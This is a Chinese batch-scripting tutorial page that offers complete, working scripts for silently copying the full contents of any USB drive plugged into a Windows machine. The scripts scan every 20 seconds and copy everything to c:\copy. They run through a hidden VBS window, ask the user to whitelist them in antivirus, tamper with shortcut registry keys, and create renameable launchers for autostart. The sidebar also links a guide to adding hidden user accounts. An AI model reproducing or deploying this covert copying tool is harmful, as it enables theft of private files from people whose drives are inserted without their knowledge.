当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制

DOS/BAT
每天按时 重启服务器 的批处理
Netsh 命令备份和恢复网络设置
批处理 Set 命令详解 让你理解set命令
cd命令 目录跳转
cmd tree命令 以树形格式罗列文件
dos 内容重定向符 >和>>
cmd if条件 条件判断
cmd goto命令 流程跳转
cmd copy命令 文件复制
cmd del命令 文件删除
cmd ren命令 重命名文件(夹)
cmd md命令 创建文件夹
cmd rd命令 删除文件夹
cmd move命令 移动文件(夹)
字符串查找 cmd find命令
常用的批处理实用技巧
批处理 添加隐藏用户代码
服务器 安全设置 批处理
WIN2003 服务器安全配置批处理文件
批处理 实现定时关机、注销、重启、锁定等功能

DOS/BAT 中的 判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 99 ::
收藏到网摘: n/a

安装U盘自动复制.cmd

复制代码 代码如下:

@echo off
mode con: cols=80 lines=40
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo.
echo ====================================================================
echo.
echo.
echo 安装U盘自动复制
echo.
echo 欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo.
echo [1] 安装程序
echo [2] 运行程序
echo [3] 关闭程序
echo [4] 卸载程序
echo [5] 生成快捷方式
echo [6] 使用帮助
echo [7] X键关闭
echo.
echo.
echo.
echo    提示:如果你计算机安装有杀毒软件,请授权此VBS代码!
echo.
echo.
echo.
echo.
echo $$$ 晗晗制造,版本1.0 $$$
echo.
echo ====================================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto install
if /i %choice%==2 goto open
if /i %choice%==3 goto close
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto shutcut
if /i %choice%==6 goto help
if /i %choice%==x goto shut
goto start

:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
copy sleep.exe "%temp%\sleep.exe" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
echo.
echo 如果你计算机安装有杀毒软件,请授权此VBS代码
reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
rem ==============================建立终止=============================
echo @echo off >%temp%\kill.cmd
echo mode con: cols=20 lines=2 >>%temp%\kill.cmd
echo echo 程序已经成功终止!>>%temp%\kill.cmd
echo pause ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill ping ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill xcopy ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill sleep ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill cmd ^>nul 2^>nul >>%temp%\kill.cmd
echo exit ^>nul 2^>nul >>%temp%\kill.cmd
rem ==============================建立快捷=============================
:shutcut
echo.
if not exist "%temp%\hide.vbs" goto start
set path2=%temp%\hide.vbs
echo [InternetShortcut] >>U盘自动复制.url
echo URL="%path2%" >>U盘自动复制.url
echo IconIndex=29 >>U盘自动复制.url
echo IconFile=C:\windows\system32\shell32.dll >>U盘自动复制.url
set path3=%temp%\kill.cmd
echo [InternetShortcut] >>终止U盘自动复制.url
echo URL="%path3%" >>终止U盘自动复制.url
echo IconIndex=29 >>终止U盘自动复制.url
echo IconFile=C:\windows\system32\shell32.dll >>终止U盘自动复制.url
echo 成功结束!请直接运行快捷方式!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================

:uninstall
rem ==============================卸载程序=============================
echo.
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
del /Q /f "%temp%\sleep.exe" >nul 2>nul
del /Q /f "%temp%\kill.cmd" >nul 2>nul
del /Q /f U盘自动复制.url >nul 2>nul
del /Q /f 终止U盘自动复制.url >nul 2>nul
echo 程序已经成功卸载!
reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg add "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================

:open
rem ==============================运行程序=============================
echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo 程序已经成功开始自运行(20秒扫描一次)!
pause >nul 2>nul
exit
rem ==============================运行结束=============================

:close
rem ==============================终止程序=============================
echo.
if not exist %temp%\copy.cmd goto start
echo 程序已经成功结束自运行!
pause >nul 2>nul
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
tskill cmd >nul 2>nul
exit
rem ==============================终止结束=============================


:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo 本工具适用于Windows XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo.
echo 使用方法: 1 点击安装程序
echo.
echo 2 如果你计算机安装有杀毒软件,请授权此VBS代码
echo.
echo 3 第一次安装可能需要先运行,然后结束一次才能生效(视系统设置而定)
echo.
echo 4 安装后请用快捷方式启动或者关闭,无需用安装程序启动
echo.
echo 5 本程序可以在U盘插入前运行,也可以在插入后运行
echo.
echo 6 点击运行程序,程序将自动每20秒执行一次
echo.
echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo.
echo 8 请务必确认你要copy的U盘无毒
echo.
echo 9 本程序在扫描时比较占内存,建议每次使用后关闭
echo.
echo 10 建立的快捷方式,你可以改名并把它放在任何地方,包括启动菜单
echo.
echo 11 请及时清理默认保存目录c:\copy文件夹里边的文件
echo.
echo 12 本软件不保证copy数据的正确性
echo.
echo 13 本软件不要使用于非法用途
echo.
echo.
echo 本软件为免费软件欢迎大家使用
echo.
echo 按任意键返回主菜单
pause >nul 2>nul
goto start
rem ==============================帮助结束=============================

:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================

copy.cmd
复制代码 代码如下:

@echo off
title $$$$*晗*晗*制*造*$$$$
mode con: cols=14 lines=1
:again
cls
del /Q /f "%temp%\copy.tmp" >nul 2>nul
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem 没有检测到可移动磁盘!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
rem 已复制,请及时清理文件!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again

文件打包下载地址